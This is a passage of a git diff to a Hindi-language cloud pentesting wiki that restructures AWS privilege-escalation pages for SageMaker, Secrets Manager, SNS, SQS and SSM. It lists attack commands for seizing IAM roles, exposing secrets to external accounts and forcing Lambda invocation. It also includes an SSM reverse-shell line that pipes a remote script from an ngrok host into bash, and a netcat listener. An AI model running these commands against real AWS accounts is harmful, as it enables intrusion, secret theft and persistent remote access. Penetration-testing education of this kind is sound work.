+--user-profile-name  \
+--app-type JupyterServer \
+--app-name 
+
+
+# 5) Generate a presigned URL to access Studio with the new domain default role
+aws sagemaker create-presigned-domain-url \
+--domain-id  \
+--user-profile-name  \
+--query AuthorizedUrl --output text
+
+# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+#    (should show the high-privilege role from domain defaults)
+
+```
+**Potential Impact**: Privilege escalation — निर्दिष्ट SageMaker execution role की permissions तक पहुँच बनाना, interactive Studio sessions के लिए।
+
+### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
+
+SageMaker Studio Domain को update करने, एक app और app के लिए एक presigned URL बनाने और `iam:PassRole` की permissions होने पर, एक attacker डिफ़ॉल्ट domain `ExecutionRole` को किसी भी IAM role पर सेट कर सकता है जिसे SageMaker service principal assume कर सकता है. उस profile के लिए लॉन्च किए गए नए Studio apps उस बदले हुए role के साथ चलेंगे, जिससे Jupyter terminals या Studio से लॉन्च किए गए jobs के माध्यम से interactive elevated permissions मिल सकते हैं।
+
+> [!WARNING]
+> यह attack इसलिए आवश्यक है कि domain में कोई applications न हों अन्यथा app creation इस error के साथ fail हो जाएगा: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
+
+कदम:
+```bash
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals 
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam:::role/
+
+# 3) Change the domain default so every profile inherits the new role
+aws sagemaker update-domain \
+--domain-id  \
+--default-user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-domain \
+--domain-id  \
+--query 'DefaultUserSettings.ExecutionRole' --output text
+
+# 3.1) Optional if you need to delete existing apps first
+# List existing apps
+aws sagemaker list-apps \
+--domain-id-equals 
+
+# Delete an app
+aws sagemaker delete-app \
+--domain-id  \
+--user-profile-name  \
+--app-type JupyterServer \
+--app-name 
+
+# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
+aws sagemaker create-app \
+--domain-id  \
+--app-type JupyterServer \
+--app-name js-domain-escalated
+
+# 5) Generate a presigned URL to access Studio with the new domain default role
+aws sagemaker create-presigned-domain-url \
+--domain-id  \
+--user-profile-name  \
+--query AuthorizedUrl --output text
+
+# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+#    (should show the high-privilege role from domain defaults)
+```
+**Potential Impact**: interactive Studio sessions के दौरान निर्दिष्ट SageMaker execution role की permissions तक Privilege escalation.
+
+### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
+
+जिसे किसी टारगेट UserProfile के लिए SageMaker Studio app create करने की अनुमति है, वह उस प्रोफ़ाइल के `ExecutionRole` के साथ चलने वाला JupyterServer app लॉन्च कर सकता है। यह Jupyter terminals या Studio से लॉन्च किए गए jobs के माध्यम से उस role की permissions तक interactive access प्रदान करता है।
+
+कदम:
+```bash
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals 
+
+# 3) Create a JupyterServer app for the user profile
+aws sagemaker create-app \
+--domain-id  \
+--user-profile-name  \
+--app-type JupyterServer \
+--app-name js-privesc
+
+# 4) Generate a presigned URL to access Studio
+aws sagemaker create-presigned-domain-url \
+--domain-id  \
+--user-profile-name  \
+--query AuthorizedUrl --output text
+
+# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+```
+**संभावित प्रभाव**: लक्ष्य UserProfile से जुड़ी SageMaker निष्पादन भूमिका तक इंटरैक्टिव पहुँच।
+
+### `iam:GetUser`, `datazone:CreateUserProfile`
+
+एक हमलावर जिनके पास ये अनुमतियाँ हैं, वे उस उपयोगकर्ता के लिए DataZone User Profile बनाकर एक IAM user को Sagemaker Unified Studio Domain में पहुँच दे सकते हैं।
+```bash
+# List domains
+aws datazone list-domains --region us-east-1 \
+--query "items[].{Id:id,Name:name}" \
+--output json
+
+# Add IAM user as a user of the domain
+aws datazone create-user-profile \
+--region us-east-1 \
+--domain-identifier  \
+--user-identifier  \
+--user-type IAM_USER
+```
+Unified Domain URL का फॉर्मैट निम्नलिखित है: `https://.sagemaker..on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
+
+**संभावित प्रभाव:** Sagemaker Unified Studio Domain तक एक user के रूप में पहुँच मिलना, Sagemaker domain के अंदर मौजूद सभी resources तक पहुँचने में सक्षम होना, और यहाँ तक कि उन role पर escalate privieleges कर पाना जिन्हें Sagemaker Unified Studio Domain के अंदर के notebooks उपयोग कर रहे हैं।
+
+## संदर्भ
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
deleted file mode 100644
index 5c6234caa..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AWS - Secrets Manager Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Secrets Manager के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### `secretsmanager:GetSecretValue`
-
-इस अनुमति वाले attacker AWS **Secretsmanager** में किसी secret के अंदर **सहेजा हुआ मान** प्राप्त कर सकता है।
-```bash
-aws secretsmanager get-secret-value --secret-id  # Get value
-```
-**संभावित प्रभाव:** AWS secrets manager service के अंदर अत्यंत संवेदनशील डेटा तक पहुँच।
-
-> [!WARNING]
-> ध्यान दें कि भले ही `secretsmanager:BatchGetSecretValue` अनुमति हो, एक attacker को संवेदनशील secrets प्राप्त करने के लिए `secretsmanager:GetSecretValue` भी आवश्यक होगी।
-
-### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
-
-पिछली अनुमतियों के साथ यह संभव है कि अन्य principals/accounts (even external) को इस **secret** तक पहुँच दी जा सके। ध्यान दें कि **KMS key से एन्क्रिप्ट किए गए secrets को पढ़ने** के लिए, user को **KMS key पर access** भी होना चाहिए (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
-```bash
-aws secretsmanager list-secrets
-aws secretsmanager get-resource-policy --secret-id 
-aws secretsmanager put-resource-policy --secret-id  --resource-policy file:///tmp/policy.json
-```
-policy.json:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam:::root"
-},
-"Action": "secretsmanager:GetSecretValue",
-"Resource": "*"
-}
-]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
new file mode 100644
index 000000000..81ae85360
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
@@ -0,0 +1,48 @@
+# AWS - Secrets Manager Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+secrets manager के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### `secretsmanager:GetSecretValue`
+
+इस permission वाले attacker AWS **Secretsmanager** में **किसी secret के अंदर सहेजा गया मान** प्राप्त कर सकते हैं।
+```bash
+aws secretsmanager get-secret-value --secret-id  # Get value
+```
+**Potential Impact:** AWS secrets manager service के अंदर उच्च संवेदनशील डेटा तक पहुँच।
+
+> [!WARNING]
+> ध्यान दें कि भले ही किसी के पास `secretsmanager:BatchGetSecretValue` permission हो, एक attacker को संवेदनशील secrets प्राप्त करने के लिए `secretsmanager:GetSecretValue` की भी आवश्यकता होगी।
+
+### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
+
+पिछली permissions के साथ यह संभव है कि अन्य principals/accounts (even external) को **secret** तक पहुँच प्रदान की जा सके। ध्यान रहें कि KMS key से एन्क्रिप्ट की गई **secrets को पढ़ने** के लिए user के पास KMS key का भी **access** होना आवश्यक है (अधिक जानकारी के लिए [KMS Enum page](../../aws-services/aws-kms-enum.md)).
+```bash
+aws secretsmanager list-secrets
+aws secretsmanager get-resource-policy --secret-id 
+aws secretsmanager put-resource-policy --secret-id  --resource-policy file:///tmp/policy.json
+```
+policy.json:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam:::root"
+},
+"Action": "secretsmanager:GetSecretValue",
+"Resource": "*"
+}
+]
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index c793ee471..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SNS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### `sns:Publish`
-
-एक हमलावर SNS विषय पर दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों को समाप्त करने की संभावना होती है।
-```bash
-aws sns publish --topic-arn  --message 
-```
-**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधनों का अत्यधिक उपयोग।
-
-### `sns:Subscribe`
-
-एक हमलावर एक SNS विषय में सदस्यता ले सकता है, जिससे उसे संदेशों तक अनधिकृत पहुँच मिल सकती है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है।
-```bash
-aws sns subscribe --topic-arn  --protocol  --endpoint 
-```
-**संभावित प्रभाव**: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा।
-
-### `sns:AddPermission`
-
-एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को SNS विषय तक पहुंच प्रदान कर सकता है, संभावित रूप से आगे की अनुमतियां प्राप्त कर सकता है।
-```css
-aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
-```
-**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, उन अनुप्रयोगों के लिए सामान्य कार्यप्रणाली में बाधा जो विषय पर निर्भर करते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
new file mode 100644
index 000000000..07ebd5979
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
@@ -0,0 +1,79 @@
+# AWS - SNS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+एक हमलावर SNS topic पर हानिकारक या अवांछित संदेश भेज सकता है, जो संभावित रूप से डेटा करप्शन, अनपेक्षित कार्रवाइयों को ट्रिगर करने, या संसाधनों को समाप्त करने का कारण बन सकता है।
+```bash
+aws sns publish --topic-arn  --message 
+```
+**Potential Impact**: कमजोरियों का शोषण, डेटा भ्रष्ट होना, अनचाही क्रियाएँ, या संसाधनों का अत्यधिक उपभोग।
+
+### `sns:Subscribe`
+
+एक हमलावर SNS टॉपिक पर सदस्यता ले सकता है, जिससे वह संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या उन अनुप्रयोगों के सामान्य कार्य में बाधा डाल सकता है जो उस टॉपिक पर निर्भर करते हैं।
+```bash
+aws sns subscribe --topic-arn  --protocol  --endpoint 
+```
+**संभावित प्रभाव**: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुँच; प्रभावित टॉपिक पर निर्भर अनुप्रयोगों के लिए सेवा में व्यवधान।
+
+### `sns:AddPermission`
+
+एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को किसी SNS टॉपिक की पहुँच दे सकता है, और इस तरह संभवतः और अधिक अनुमतियाँ हासिल कर सकता है।
+```bash
+aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
+```
+**Potential Impact**: टॉपिक तक अनधिकृत पहुंच, संदेशों का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा टॉपिक में हेरफेर, उन एप्लिकेशन्स के सामान्य कार्य में विघ्न जो उस टॉपिक पर निर्भर हैं।
+
+### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)
+
+यदि किसी Lambda function की resource-based policy `sns.amazonaws.com` को इसे invoke करने की अनुमति देती है बिना स्रोत टॉपिक (`SourceArn`) को सीमित किए, तो कोई भी SNS topic (यहाँ तक कि किसी अन्य account का भी) subscribe करके उस function को trigger कर सकता है। एक attacker जिसके पास बुनियादी SNS permissions हों, Lambda को उसके IAM role के अंतर्गत attacker-controlled input के साथ execute करवाने के लिए मजबूर कर सकता है।
+
+> [!TIP]
+> TODO: क्या यह वाकई cross-account किया जा सकता है?
+
+Preconditions
+- Victim Lambda policy contains a statement like below, with NO `SourceArn` condition:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {"Service": "sns.amazonaws.com"},
+"Action": "lambda:InvokeFunction"
+// No Condition/SourceArn restriction here
+}
+]
+}
+```
+दुरुपयोग चरण (एक ही या क्रॉस-खाता)
+```bash
+# 1) Create a topic you control
+ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
+
+# 2) Subscribe the victim Lambda to your topic
+aws sns subscribe \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--protocol lambda \
+--notification-endpoint arn:aws:lambda:us-east-1::function:
+
+# 3) Publish an attacker-controlled message to trigger the Lambda
+aws sns publish \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
+```
+**संभावित प्रभाव**: पीड़ित Lambda अपने IAM role के साथ चलता है और attacker-controlled input को प्रोसेस करता है। इसके permissions के आधार पर, इसे दुरुपयोग करके फ़ंक्शन को संवेदनशील कार्य करने के लिए मजबूर किया जा सकता है (उदा., S3 पर लिखना, secrets तक पहुँच, resources को संशोधित करना)।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 2e29b4827..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - SQS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:AddPermission`
-
-एक हमलावर इस अनुमति का उपयोग अनधिकृत उपयोगकर्ताओं या सेवाओं को SQS कतार तक पहुँच प्रदान करने के लिए नए नीतियों को बनाने या मौजूदा नीतियों को संशोधित करने के लिए कर सकता है। इससे कतार में संदेशों तक अनधिकृत पहुँच या अनधिकृत संस्थाओं द्वारा कतार में हेरफेर हो सकता है।
-```bash
-cssCopy codeaws sqs add-permission --queue-url  --actions  --aws-account-ids  --label 
-```
-**संभावित प्रभाव**: कतार तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा कतार में हेरफेर।
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना संभव है।
-```bash
-aws sqs send-message --queue-url  --message-body 
-aws sqs send-message-batch --queue-url  --entries 
-```
-**संभावित प्रभाव**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-एक हमलावर SQS कतार में संदेशों को प्राप्त, हटाने, या उनकी दृश्यता को संशोधित कर सकता है, जिससे संदेशों का नुकसान, डेटा भ्रष्टाचार, या उन संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा उत्पन्न हो सकती है।
-```bash
-aws sqs receive-message --queue-url 
-aws sqs delete-message --queue-url  --receipt-handle 
-aws sqs change-message-visibility --queue-url  --receipt-handle  --visibility-timeout 
-```
-**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
new file mode 100644
index 000000000..a4b3ee94f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
@@ -0,0 +1,40 @@
+# AWS - SQS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+एक attacker इस permission का उपयोग करके अनधिकृत users या services को SQS queue तक access देने के लिए नई policies बनाकर या मौजूदा policies को संशोधित करके अनुमति दे सकता है। इससे queue में मौजूद messages तक अनधिकृत पहुँच या अनधिकृत entities द्वारा queue का manipulation हो सकता है।
+```bash
+aws sqs add-permission --queue-url  --actions  --aws-account-ids  --label 
+```
+**Potential Impact**: अनाधिकृत उपयोगकर्ताओं या सेवाओं द्वारा queue तक अनधिकृत पहुँच, संदेशों का खुलासा, या queue का हेरफेर।
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+An attacker SQS queue में दुर्भावनापूर्ण या अनचाहे संदेश भेज सकता है, जो संभावित रूप से डेटा भ्रष्टता, अनपेक्षित कार्रवाइयों का ट्रिगर, या संसाधनों के समाप्त हो जाने का कारण बन सकता है।
+```bash
+aws sqs send-message --queue-url  --message-body 
+aws sqs send-message-batch --queue-url  --entries 
+```
+**Potential Impact**: भेद्यता का शोषण, डेटा भ्रष्टाचार, अनइच्छित क्रियाएँ, या संसाधन समाप्ति।
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+एक attacker SQS queue में संदेशों को प्राप्त कर सकता है, हटा सकता है, या उनकी दृश्यता बदल सकता है, जिससे संदेशों की हानि, डेटा भ्रष्टाचार, या उन संदेशों पर निर्भर एप्लिकेशन के लिए सेवा में व्यवधान हो सकता है।
+```bash
+aws sqs receive-message --queue-url 
+aws sqs delete-message --queue-url  --receipt-handle 
+aws sqs change-message-visibility --queue-url  --receipt-handle  --visibility-timeout 
+```
+**संभावित प्रभाव**: संवेदनशील जानकारी की चोरी, संदेशों का नुकसान, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर एप्लिकेशन के लिए सेवा में व्यवधान।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
deleted file mode 100644
index 9e9c840c6..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - SSM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-SSM के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `ssm:SendCommand`
-
-एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** है, वह **Amazon SSM एजेंट चला रहे इंस्टेंस में कमांड निष्पादित कर सकता है** और **इसके अंदर चल रहे IAM भूमिका को समझौता कर सकता है**।
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
-```
-यदि आप इस तकनीक का उपयोग पहले से समझौता किए गए EC2 इंस्टेंस के भीतर विशेषाधिकार बढ़ाने के लिए कर रहे हैं, तो आप बस निम्नलिखित के साथ स्थानीय रूप से रिव रिव शेल कैप्चर कर सकते हैं:
-```bash
-# If you are in the machine you can capture the reverseshel inside of it
-nc -lvnp 4444 #Inside the EC2 instance
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
-```
-**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क।
-
-### `ssm:StartSession`
-
-एक हमलावर जिसके पास अनुमति **`ssm:StartSession`** है, वह **Amazon SSM एजेंट चला रहे उदाहरणों में SSH जैसी सत्र शुरू कर सकता है** और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।**
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm start-session --target "$INSTANCE_ID"
-```
-> [!CAUTION]
-> सत्र शुरू करने के लिए आपको **SessionManagerPlugin** स्थापित करना होगा: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-
-**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं तक सीधे प्रिवेस्क।
-
-#### ECS के लिए प्रिवेस्क
-
-जब **ECS कार्य** **`ExecuteCommand` सक्षम** होते हैं, तो पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके कंटेनर के अंदर **एक कमांड निष्पादित** कर सकते हैं।\
-[**दस्तावेज़**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार, यह उस उपकरण के बीच एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड शुरू करने के लिए करते हैं और लक्षित कंटेनर के साथ SSM सत्र प्रबंधक। (इस कार्य के लिए SSM सत्र प्रबंधक प्लगइन आवश्यक है)\
-इसलिए, `ssm:StartSession` वाले उपयोगकर्ता उस विकल्प को सक्षम करके **ECS कार्यों के अंदर एक शेल प्राप्त** कर सकेंगे, बस यह चलाकर:
-```bash
-aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
-```
-![](<../../../images/image (185).png>)
-
-**संभावित प्रभाव:** `ExecuteCommand` सक्षम चल रहे कार्यों से जुड़े `ECS` IAM भूमिकाओं तक सीधे प्रिवेस्क।
-
-### `ssm:ResumeSession`
-
-एक हमलावर जिसके पास अनुमति **`ssm:ResumeSession`** है, वह **Amazon SSM एजेंट के साथ चल रहे उदाहरणों में SSH जैसी सत्र को फिर से शुरू कर सकता है** जिसमें **अविच्छेदित** SSM सत्र स्थिति है और **इसके अंदर चल रही IAM भूमिका को समझौता कर सकता है।**
-```bash
-# Check for configured instances
-aws ssm describe-sessions
-
-# Get resume data (you will probably need to do something else with this info to connect)
-aws ssm resume-session \
---session-id Mary-Major-07a16060613c408b5
-```
-**संभावित प्रभाव:** चल रहे उदाहरणों के साथ जुड़े EC2 IAM भूमिकाओं पर सीधे प्रिवेस्क और डिस्कनेक्टेड सत्रों के साथ SSM एजेंट।
-
-### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
-
-उपरोक्त अनुमतियों के साथ एक हमलावर **SSM पैरामीटर** की सूची बनाने और **उन्हें स्पष्ट पाठ में पढ़ने** में सक्षम होगा। इन पैरामीटर में आप अक्सर **संवेदनशील जानकारी** जैसे SSH कुंजी या API कुंजी पा सकते हैं।
-```bash
-aws ssm describe-parameters
-# Suppose that you found a parameter called "id_rsa"
-aws ssm get-parameters --names id_rsa --with-decryption
-aws ssm get-parameter --name id_rsa --with-decryption
-```
-**संभावित प्रभाव:** पैरामीटर के अंदर संवेदनशील जानकारी खोजें।
-
-### `ssm:ListCommands`
-
-इस अनुमति के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है जो भेजी गई हैं और उम्मीद है कि उन पर **संवेदनशील जानकारी** मिलेगी।
-```
-aws ssm list-commands
-```
-**संभावित प्रभाव:** कमांड लाइनों के अंदर संवेदनशील जानकारी खोजें।
-
-### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
-
-इन अनुमतियों के साथ एक हमलावर सभी **कमांड** की सूची बना सकता है और **आउटपुट पढ़ सकता है** जिससे उम्मीद है कि वह इसमें **संवेदनशील जानकारी** पाएगा।
-```bash
-# You can use any of both options to get the command-id and instance id
-aws ssm list-commands
-aws ssm list-command-invocations
-
-aws ssm get-command-invocation --command-id  --instance-id 
-```
-**संभावित प्रभाव:** कमांड लाइनों के आउटपुट में संवेदनशील जानकारी खोजें।
-
-### ssm:CreateAssociation का उपयोग करना
-
-एक हमलावर जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह EC2 इंस्टेंस पर कमांड स्वचालित रूप से निष्पादित करने के लिए एक State Manager Association बना सकता है जो SSM द्वारा प्रबंधित हैं। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं।
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> यह स्थायीता विधि तब तक काम करती है जब तक EC2 उदाहरण Systems Manager द्वारा प्रबंधित है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
-
-### Codebuild
-
-आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में भी प्रवेश कर सकते हैं:
-
-{{#ref}}
-aws-codebuild-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
new file mode 100644
index 000000000..5ac2bb1c8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
@@ -0,0 +1,130 @@
+# AWS - SSM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+SSM के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `ssm:SendCommand`
+
+एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** हो, Amazon SSM Agent चला रहे इंस्टेंस में **कमांड निष्पादित कर सकता है** और उसके अंदर चल रहे **IAM Role को समझौता कर सकता है**.
+```bash
+# Check for configured instances
